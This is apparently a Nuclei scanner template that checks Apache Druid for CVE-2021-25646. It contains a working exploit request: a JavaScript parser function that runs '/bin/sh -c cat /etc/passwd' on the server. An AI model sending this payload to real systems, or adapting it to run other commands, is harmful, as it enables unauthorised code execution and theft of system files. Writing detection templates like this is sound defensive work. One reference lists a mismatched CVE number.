CVE-2021-25646: Apache Druid - Remote Code Execution

id: CVE-2021-25646

info:
  name: Apache Druid - Remote Code Execution
  author: pikpikcu
  severity: high
  description: |
    Apache Druid is susceptible to remote code execution because by default it lacks authorization and authentication. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Apache Druid.
  reference:
    - https://paper.seebug.org/1476/
    - https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E
    - http://www.openwall.com/lists/oss-security/2021/01/29/6
    - https://lists.apache.org/thread.html/r64431c2b97209f566b5dff92415e7afba0ed3bfab4695ebaa8a62e5d@%3Cdev.druid.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25864
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-25646
    cwe-id: CWE-732
    epss-score: 0.94055
    epss-percentile: 0.99897
    cpe: cpe:2.3:a:apache:druid:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: druid
  tags: cve2021,cve,apache,rce,druid

http:
  - raw:
      - |
        POST /druid/indexer/v1/sampler HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
        "type":"index",
        "spec":{
           "ioConfig":{
              "type":"index",
              "firehose":{
                 "type":"local",
                 "baseDir":"/etc",
                 "filter":"passwd"
              }
           },
           "dataSchema":{
              "dataSource":"odgjxrrrePz",
              "parser":{
                 "parseSpec":{
                    "format":"javascript",
                    "timestampSpec":{

                    },
                    "dimensionsSpec":{

                    },
                    "function":"function(){var hTVCCerYZ = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"/bin/sh`@~-c`@~cat /etc/passwd\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"4137368\",OQtGXcxBVQVL: hTVCCerYZ}}",
                    "":{
                       "enabled":"true"
                    }
                 }
              }
           }
        },
        "samplerConfig":{
           "numRows":10
        }
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "numRowsRead"
          - "numRowsIndexed"
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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